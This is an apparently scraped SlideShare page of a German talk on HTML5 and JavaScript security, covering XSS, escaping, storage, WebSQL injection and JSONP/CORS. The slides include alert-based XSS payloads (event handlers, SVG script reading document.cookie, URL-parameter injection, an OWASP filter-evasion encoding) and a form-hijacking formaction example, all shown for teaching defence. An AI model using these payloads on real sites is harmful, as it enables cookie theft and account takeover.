SlideShare a Scribd company logo
Security
bit.ly/HTML5Sec
Interaktive Version der Präsentation!
Created by Johannes Hoppe
JohannesHoppe.de
bit.ly/HTML5Sec
Interaktive Version der Präsentation!
ZielAngriffsvektoren aufzeigen.
Strategien besprechen.
Mehr nicht!
FeaturesNeue Angriffsvektoren
Ein Formular
Username:
Password:
Login
<form id="login" action="#">
Username: <input type="text" name="username">
Password: <input type="password" name="password">
<input type="submit" value="Login">
</form>
Formaction
Username:
Password:
Login
Klick mich!
<form id="login" action="#">
Username: <input type="text" name="username">
Password: <input type="password" name="password">
<input type="submit" value="Login">
</form>
<button type="submit" form="login" formaction="http://example.org">
Klick mich!
</button>
SVG
Presto, WebKit, Gecko und sogar Trident 9
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="40" height="40">
<circle cx="20" cy="20" r="15" fill="yellow" stroke="black"/>
<circle cx="15" cy="15" r="2" fill="black" stroke="black"/>
<circle cx="25" cy="15" r="2" fill="black" stroke="black"/>
<path d="M 13 26 A 5 3 0 0 0 27 26" stroke="black" fill="none" stroke
-width="2"/>
</svg>
SVG
kann JavaScript enthalten!
Test
<?xmlversion="1.0"?>
<svgxmlns="http://www.w3.org/2000/svg"width="200"height="50">
<defs><style> </style></defs>
<circlecx="20"cy="20"r="15"fill="yellow"stroke="black"/>
<circlecx="15"cy="15"r="2"fill="black"stroke="black"/>
<circlecx="25"cy="15"r="2"fill="black"stroke="black"/>
<pathd="M1326A530002726"stroke="black"fill="none"stroke-width="2"transform="rotate(180,2
0,28)"/>
<textx="11"y="50"id="display">Test</text>
<script>
</script>
</svg>
<![CDATA[text{font-size:6pt;}]]>
alert(document.cookie);
document.getElementById('display').textContent=document.cookie;
Business as usual
HTML5 es ist auch nicht schlimmer als HTML 4
» http://html5sec.org
XSSEingeschleuster JavaScript-Code
Oldies but Goldies
index.html?message=Daten gespeichert
index.html?message=<script>alert('XSS')</script>
<script>
var message = $.url().param('message');
if (message) {
Notifier.success(message);
}
</script>
Eval everywhere
Eval is evil
» Demo
<!-- Self-executing onFocus event via autoFocus -->
<input onfocus="alert('XSS onfocus')" autofocus>
<!-- Video OnError -->
<video><source onerror="javascript:alert('XSS onerror')"></video>
<!-- Presto only: Form surveillance -->
<form id=test onforminput=alert('XSS onforminput')>
<input>
</form>
<button form=test onformchange=alert('XSS onformchange')>X</button>
1 2 3
OWASPOpen Web Application Security Project
XSS Filter Evasion Cheat Sheet
<!-- Long UTF-8 Unicode encoding without semicolons -->
<IMG SRC="&#34&#32&#111&#110&#101&#114&#114&#111&#114&#61&#34&#97&#108&
#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">
» Old IE Demo
XSS Vorbeugen
1.Hier sollten dynamische
Daten niemals verwendet werden
<script> </script>
<!-- HIER -->
<div HIER="test"/>
<HIER href="test" />
<style> </style>
HIER
HIER
2.HTML escape
dynamic data
& → &amp;
< → &lt;
> → &gt;
" → &quot;
' → &apos; / &#39;
<div>HTML ESCAPE</div>
Testen?
function htmlEncode(input) {
// jquery.text == document.createTextNode
return ($('<div/>').text(input).html());
}
var saveFormat = function () {
var args = Array.prototype.slice.call(arguments);
var txt = args.shift();
$.each(args, function (i, item) {
item = htmlEncode(item);
txt = txt.replace("{" + i + "}", item);
});
return txt;
};
Testen!
describe("saveFormat", function () {
var original = '{0} - {1} - {2}';
it("should replace placeholders", function () {
var expected = 'A - B - C';
var formated = saveFormat(original, 'A', 'B', 'C');
expect(formated).toEqual(expected);
});
it("should encode injected content", function () {
var expected = 'A - &lt;b&gt;TEST&lt;/b&gt; - C';
var formated = saveFormat(original, 'A', '<b>TEST</b>', 'C');
expect(formated).toEqual(expected);
});
});
Test
finished in 0.004s
••
No try/catch
Jasmine 1.3.1 revision 1354556913
Passing2specs
saveFormat
should replace placeholders
should encode injected content
» Demo
Moment...
describe("saveFormat", function () {
var original = '<a title="{0}">Test</a>';
it("should replace quotes", function () {
var expected = '<a title="&quot;">Test</a>';
var formated = saveFormat(original, '"');
expect(formated).toEqual(expected);
});
});
Richtig testen!
finished in 0.005s
x
No try/catch
Jasmine 1.3.1 revision 1354556913
Failing1spec
1spec|1 failing
saveFormat should replace quotes.
Expected '<a title=""">Test</a>' to equal '<a
title="&quot;">Test</a>'.
Error: Expected '<a title=""">Test</a>' to equal '<a title="&quot;">Test</a>'.
at new jasmine.ExpectationResult (http://johanneshoppe.github.io/HTML5Security
at null.toEqual (http://johanneshoppe.github.io/HTML5Security/examples/jasmine
at null.<anonymous> (http://johanneshoppe.github.io/HTML5Security/examples/jas
at jasmine.Block.execute (http://johanneshoppe.github.io/HTML5Security/example
at jasmine.Queue.next_ (http://johanneshoppe.github.io/HTML5Security/examples/
» Demo
3.Attribute escape
dynamic data
a-z A-Z 0-9 → immun
, . - _ → immun
Rest → &#xHH;
<div attr="ATTRIBUTE ESCAPE"></div>
<!-- NIEMALS ohne quotes! -->
<div attr=ATTRIBUTE ESCAPE></div>
4. DO NOTJavaScript escape
dynamic data
HTML parser runs before the JavaScript parser!
you are doing it wrong
Das hier ist Alltag
UserList.cshtml / Kendo UI Template
# if(ID != 0) { #
<a href="javascript:DialogManager.ShowPartialDialog('@Url.Action("UserM
anagement", "Management")', { userId : '#= htmlEncode(ID) #' }, {title:
'#= htmlEncode(Alias) #'})"#= htmlEncode(Alias) #</a>
# } else { #
#= htmlEncode(Alias) #
# } #
?Offensichtlich läuft beim Umgang
mit Daten etwas prinzipiell falsch!
Storage
Egal
ob Cookies
ob Session Storage
ob Local Storage
ob WebSQL
die Daten sind nicht vertrauenswürdig!
Resident XSS
richtig fies!
Vertraulichen Informationen
gehören in die SERVER-Session!
Session Storage bevorzugen!
WebSQL
SQL Injection:
Prepared Statement:
executeSql("SELECT foo FROM bar WHERE value=" + value);
executeSql("SELECT foo FROM bar WHERE value=?", [value]);
Kommunikation
Mashups!
define(['jquery', 'knockout',
'knockout.mapping', 'domReady!'], function ($, ko, mapping) {
var url ='http://search.twitter.com/search.json?q=%23xss&callback=?';
$.getJSON(url).done(function (data) {
var viewModel = mapping.fromJS(data);
ko.applyBindings(viewModel, $('#tweets').get(0));
});
});
Loading...
JSON
JSON with Padding
{"hello": "world"}
<script>
</script>
<script src="http://search.twitter.com/search.json?q=%23dnc13&callback=
foo"></script>
var foo = function(json) {
$('#output').text(JSON.stringify(json, undefined, 2));
};
foo({"hello": "world"});
» Demo
JSONP
SOP
Same origin policy → Not macht erfinderisch (JSONP)
CORS
Cross-Origin Resource Sharing → Access-Control-Allow-Origin: *
WebSockets
do what you want
JS-Recon
Shell of the Future
2013-06-25 - HTML5 & JavaScript Security
Intranet == Internet
Danke!
blog.johanneshoppe.de
2013-06-25 - HTML5 & JavaScript Security
» Sicherheit von Web-Anwendungen

More Related Content

PDF
QA for PHP projects
PDF
2013 05-03 - HTML5 & JavaScript Security
PDF
Automated testing for client-side - Adam Klein, 500 Tech
PDF
CSS in React - Will Change Transform
PPT
What's new in Rails 2?
PDF
Phoenix for laravel developers
PDF
The Code
QA for PHP projects
2013 05-03 - HTML5 & JavaScript Security
Automated testing for client-side - Adam Klein, 500 Tech
CSS in React - Will Change Transform
What's new in Rails 2?
Phoenix for laravel developers
The Code

What's hot (19)

KEY
Geek Moot '09 -- Smarty 101
PDF
Cloud Entwicklung mit Apex
PDF
МИХАЙЛО БОДНАРЧУК «SuperCharged End to End Testing with CodeceptJS» QADay 2019
PDF
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
PDF
Lettering js
TXT
Html
KEY
jQuery Plugin Creation
PPTX
Maintainable JavaScript 2012
PDF
Intro to OAuth
PPTX
Basics of Java Script (JS)
DOC
14922 java script built (1)
PPTX
PPT
JavaScript Needn't Hurt!
KEY
前端概述
PDF
Plugin jQuery, Design Patterns
PDF
Desafios do Profissionalismo Ágil
PDF
Making and Breaking Web Services with Ruby
 
PPTX
Compatibility Detector Tool of Chrome extensions
PDF
날로 먹는 Django admin 활용
Geek Moot '09 -- Smarty 101
Cloud Entwicklung mit Apex
МИХАЙЛО БОДНАРЧУК «SuperCharged End to End Testing with CodeceptJS» QADay 2019
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
Lettering js
Html
jQuery Plugin Creation
Maintainable JavaScript 2012
Intro to OAuth
Basics of Java Script (JS)
14922 java script built (1)
JavaScript Needn't Hurt!
前端概述
Plugin jQuery, Design Patterns
Desafios do Profissionalismo Ágil
Making and Breaking Web Services with Ruby
 
Compatibility Detector Tool of Chrome extensions
날로 먹는 Django admin 활용
Ad

Viewers also liked (7)

PPTX
RIA 08 - AJAX and jQuery
PDF
Einführung in Angular 2
PDF
2012-06-25 - MapReduce auf Azure
PDF
MDC kompakt 2014: Hybride Apps mit Cordova, AngularJS und Ionic
PPTX
2015 02-09 - NoSQL Vorlesung Mosbach
PPTX
Ajax ppt - 32 slides
RIA 08 - AJAX and jQuery
Einführung in Angular 2
2012-06-25 - MapReduce auf Azure
MDC kompakt 2014: Hybride Apps mit Cordova, AngularJS und Ionic
2015 02-09 - NoSQL Vorlesung Mosbach
Ajax ppt - 32 slides
Ad

Similar to 2013-06-25 - HTML5 & JavaScript Security (20)

PPT
PDF
FrontInBahia 2014: 10 dicas de desempenho para apps mobile híbridas
PDF
WT UNIT 2 presentation :client side technologies JavaScript And Dom
PDF
How to test complex SaaS applications - The family july 2014
PDF
Turn your spaghetti code into ravioli with JavaScript modules
PPTX
Java script errors &amp; exceptions handling
PDF
Primefaces Nextgen Lju
PDF
Primefaces Nextgen Lju
PPT
presentation on java server pages vs servlet.ppt
PDF
Performance patterns
TXT
Java.script
PDF
Javascript MVC & Backbone Tips & Tricks
PPTX
Javascript basics for automation testing
PPT
Presentation
PPT
JavaScript Training
PDF
Bonnes pratiques de développement avec Node js
PDF
Тестирование и Django
RTF
Html basics 11 form validation
 
PDF
HTML5 - The 2012 of the Web
DOCX
Borrador del blog
FrontInBahia 2014: 10 dicas de desempenho para apps mobile híbridas
WT UNIT 2 presentation :client side technologies JavaScript And Dom
How to test complex SaaS applications - The family july 2014
Turn your spaghetti code into ravioli with JavaScript modules
Java script errors &amp; exceptions handling
Primefaces Nextgen Lju
Primefaces Nextgen Lju
presentation on java server pages vs servlet.ppt
Performance patterns
Java.script
Javascript MVC & Backbone Tips & Tricks
Javascript basics for automation testing
Presentation
JavaScript Training
Bonnes pratiques de développement avec Node js
Тестирование и Django
Html basics 11 form validation
 
HTML5 - The 2012 of the Web
Borrador del blog

More from Johannes Hoppe (20)

PDF
2017 - NoSQL Vorlesung Mosbach
PPTX
NoSQL - Hands on
PDF
2013-06-24 - Software Craftsmanship with JavaScript
PDF
2013-06-15 - Software Craftsmanship mit JavaScript
PDF
2013-03-23 - NoSQL Spartakiade
PDF
2013 02-26 - Software Tests with Mongo db
PDF
2013-02-21 - .NET UG Rhein-Neckar: JavaScript Best Practices
PDF
2012-10-16 - WebTechCon 2012: HTML5 & WebGL
PDF
2012-10-12 - NoSQL in .NET - mit Redis und Mongodb
PDF
2012-09-18 - HTML5 & WebGL
PDF
2012-09-17 - WDC12: Node.js & MongoDB
PDF
2012-08-29 - NoSQL Bootcamp (Redis, RavenDB & MongoDB für .NET Entwickler)
PDF
2012-05-14 NoSQL in .NET - mit Redis und MongoDB
PDF
2012-05-10 - UG Karlsruhe: NoSQL in .NET - mit Redis und MongoDB
PDF
2012-04-12 - AOP .NET UserGroup Niederrhein
PDF
2012-03-20 - Getting started with Node.js and MongoDB on MS Azure
PDF
2012-01-31 NoSQL in .NET
PDF
2011-12-13 NoSQL aus der Praxis
PPTX
2011-06-27 - AOP - .NET User Group Rhein Neckar
PDF
DMDW 8. Student Presentation - Groovy to MongoDB
2017 - NoSQL Vorlesung Mosbach
NoSQL - Hands on
2013-06-24 - Software Craftsmanship with JavaScript
2013-06-15 - Software Craftsmanship mit JavaScript
2013-03-23 - NoSQL Spartakiade
2013 02-26 - Software Tests with Mongo db
2013-02-21 - .NET UG Rhein-Neckar: JavaScript Best Practices
2012-10-16 - WebTechCon 2012: HTML5 & WebGL
2012-10-12 - NoSQL in .NET - mit Redis und Mongodb
2012-09-18 - HTML5 & WebGL
2012-09-17 - WDC12: Node.js & MongoDB
2012-08-29 - NoSQL Bootcamp (Redis, RavenDB & MongoDB für .NET Entwickler)
2012-05-14 NoSQL in .NET - mit Redis und MongoDB
2012-05-10 - UG Karlsruhe: NoSQL in .NET - mit Redis und MongoDB
2012-04-12 - AOP .NET UserGroup Niederrhein
2012-03-20 - Getting started with Node.js and MongoDB on MS Azure
2012-01-31 NoSQL in .NET
2011-12-13 NoSQL aus der Praxis
2011-06-27 - AOP - .NET User Group Rhein Neckar
DMDW 8. Student Presentation - Groovy to MongoDB

Recently uploaded (20)

PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Empathic Computing: Creating Shared Understanding
PDF
NewMind AI Monthly Chronicles - July 2025
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PPT
Teaching material agriculture food technology
PDF
Modernizing your data center with Dell and AMD
PDF
KodekX | Application Modernization Development
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
DOCX
The AUB Centre for AI in Media Proposal.docx
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
cuic standard and advanced reporting.pdf
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
Digital-Transformation-Roadmap-for-Companies.pptx
The Rise and Fall of 3GPP – Time for a Sabbatical?
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Empathic Computing: Creating Shared Understanding
NewMind AI Monthly Chronicles - July 2025
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Teaching material agriculture food technology
Modernizing your data center with Dell and AMD
KodekX | Application Modernization Development
20250228 LYD VKU AI Blended-Learning.pptx
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Advanced methodologies resolving dimensionality complications for autism neur...
The AUB Centre for AI in Media Proposal.docx
Spectral efficient network and resource selection model in 5G networks
Review of recent advances in non-invasive hemoglobin estimation
cuic standard and advanced reporting.pdf
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Bridging biosciences and deep learning for revolutionary discoveries: a compr...

2013-06-25 - HTML5 & JavaScript Security

  • 1. Security bit.ly/HTML5Sec Interaktive Version der Präsentation! Created by Johannes Hoppe
  • 5. Ein Formular Username: Password: Login <form id="login" action="#"> Username: <input type="text" name="username"> Password: <input type="password" name="password"> <input type="submit" value="Login"> </form>
  • 6. Formaction Username: Password: Login Klick mich! <form id="login" action="#"> Username: <input type="text" name="username"> Password: <input type="password" name="password"> <input type="submit" value="Login"> </form> <button type="submit" form="login" formaction="http://example.org"> Klick mich! </button>
  • 7. SVG Presto, WebKit, Gecko und sogar Trident 9 <?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg" width="40" height="40"> <circle cx="20" cy="20" r="15" fill="yellow" stroke="black"/> <circle cx="15" cy="15" r="2" fill="black" stroke="black"/> <circle cx="25" cy="15" r="2" fill="black" stroke="black"/> <path d="M 13 26 A 5 3 0 0 0 27 26" stroke="black" fill="none" stroke -width="2"/> </svg>
  • 8. SVG kann JavaScript enthalten! Test <?xmlversion="1.0"?> <svgxmlns="http://www.w3.org/2000/svg"width="200"height="50"> <defs><style> </style></defs> <circlecx="20"cy="20"r="15"fill="yellow"stroke="black"/> <circlecx="15"cy="15"r="2"fill="black"stroke="black"/> <circlecx="25"cy="15"r="2"fill="black"stroke="black"/> <pathd="M1326A530002726"stroke="black"fill="none"stroke-width="2"transform="rotate(180,2 0,28)"/> <textx="11"y="50"id="display">Test</text> <script> </script> </svg> <![CDATA[text{font-size:6pt;}]]> alert(document.cookie); document.getElementById('display').textContent=document.cookie;
  • 9. Business as usual HTML5 es ist auch nicht schlimmer als HTML 4 » http://html5sec.org
  • 11. Oldies but Goldies index.html?message=Daten gespeichert index.html?message=<script>alert('XSS')</script> <script> var message = $.url().param('message'); if (message) { Notifier.success(message); } </script>
  • 12. Eval everywhere Eval is evil » Demo <!-- Self-executing onFocus event via autoFocus --> <input onfocus="alert('XSS onfocus')" autofocus> <!-- Video OnError --> <video><source onerror="javascript:alert('XSS onerror')"></video> <!-- Presto only: Form surveillance --> <form id=test onforminput=alert('XSS onforminput')> <input> </form> <button form=test onformchange=alert('XSS onformchange')>X</button> 1 2 3
  • 13. OWASPOpen Web Application Security Project XSS Filter Evasion Cheat Sheet <!-- Long UTF-8 Unicode encoding without semicolons --> <IMG SRC="&#34&#32&#111&#110&#101&#114&#114&#111&#114&#61&#34&#97&#108& #101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59"> » Old IE Demo
  • 15. 1.Hier sollten dynamische Daten niemals verwendet werden <script> </script> <!-- HIER --> <div HIER="test"/> <HIER href="test" /> <style> </style> HIER HIER
  • 16. 2.HTML escape dynamic data & → &amp; < → &lt; > → &gt; " → &quot; ' → &apos; / &#39; <div>HTML ESCAPE</div>
  • 17. Testen? function htmlEncode(input) { // jquery.text == document.createTextNode return ($('<div/>').text(input).html()); } var saveFormat = function () { var args = Array.prototype.slice.call(arguments); var txt = args.shift(); $.each(args, function (i, item) { item = htmlEncode(item); txt = txt.replace("{" + i + "}", item); }); return txt; };
  • 18. Testen! describe("saveFormat", function () { var original = '{0} - {1} - {2}'; it("should replace placeholders", function () { var expected = 'A - B - C'; var formated = saveFormat(original, 'A', 'B', 'C'); expect(formated).toEqual(expected); }); it("should encode injected content", function () { var expected = 'A - &lt;b&gt;TEST&lt;/b&gt; - C'; var formated = saveFormat(original, 'A', '<b>TEST</b>', 'C'); expect(formated).toEqual(expected); }); });
  • 19. Test finished in 0.004s •• No try/catch Jasmine 1.3.1 revision 1354556913 Passing2specs saveFormat should replace placeholders should encode injected content » Demo
  • 20. Moment... describe("saveFormat", function () { var original = '<a title="{0}">Test</a>'; it("should replace quotes", function () { var expected = '<a title="&quot;">Test</a>'; var formated = saveFormat(original, '"'); expect(formated).toEqual(expected); }); });
  • 21. Richtig testen! finished in 0.005s x No try/catch Jasmine 1.3.1 revision 1354556913 Failing1spec 1spec|1 failing saveFormat should replace quotes. Expected '<a title=""">Test</a>' to equal '<a title="&quot;">Test</a>'. Error: Expected '<a title=""">Test</a>' to equal '<a title="&quot;">Test</a>'. at new jasmine.ExpectationResult (http://johanneshoppe.github.io/HTML5Security at null.toEqual (http://johanneshoppe.github.io/HTML5Security/examples/jasmine at null.<anonymous> (http://johanneshoppe.github.io/HTML5Security/examples/jas at jasmine.Block.execute (http://johanneshoppe.github.io/HTML5Security/example at jasmine.Queue.next_ (http://johanneshoppe.github.io/HTML5Security/examples/ » Demo
  • 22. 3.Attribute escape dynamic data a-z A-Z 0-9 → immun , . - _ → immun Rest → &#xHH; <div attr="ATTRIBUTE ESCAPE"></div> <!-- NIEMALS ohne quotes! --> <div attr=ATTRIBUTE ESCAPE></div>
  • 23. 4. DO NOTJavaScript escape dynamic data HTML parser runs before the JavaScript parser! you are doing it wrong
  • 24. Das hier ist Alltag UserList.cshtml / Kendo UI Template # if(ID != 0) { # <a href="javascript:DialogManager.ShowPartialDialog('@Url.Action("UserM anagement", "Management")', { userId : '#= htmlEncode(ID) #' }, {title: '#= htmlEncode(Alias) #'})"#= htmlEncode(Alias) #</a> # } else { # #= htmlEncode(Alias) # # } #
  • 25. ?Offensichtlich läuft beim Umgang mit Daten etwas prinzipiell falsch!
  • 27. Egal ob Cookies ob Session Storage ob Local Storage ob WebSQL die Daten sind nicht vertrauenswürdig!
  • 31. WebSQL SQL Injection: Prepared Statement: executeSql("SELECT foo FROM bar WHERE value=" + value); executeSql("SELECT foo FROM bar WHERE value=?", [value]);
  • 33. Mashups! define(['jquery', 'knockout', 'knockout.mapping', 'domReady!'], function ($, ko, mapping) { var url ='http://search.twitter.com/search.json?q=%23xss&callback=?'; $.getJSON(url).done(function (data) { var viewModel = mapping.fromJS(data); ko.applyBindings(viewModel, $('#tweets').get(0)); }); });
  • 35. JSON JSON with Padding {"hello": "world"} <script> </script> <script src="http://search.twitter.com/search.json?q=%23dnc13&callback= foo"></script> var foo = function(json) { $('#output').text(JSON.stringify(json, undefined, 2)); }; foo({"hello": "world"}); » Demo
  • 36. JSONP
  • 37. SOP Same origin policy → Not macht erfinderisch (JSONP) CORS Cross-Origin Resource Sharing → Access-Control-Allow-Origin: * WebSockets do what you want
  • 43. » Sicherheit von Web-Anwendungen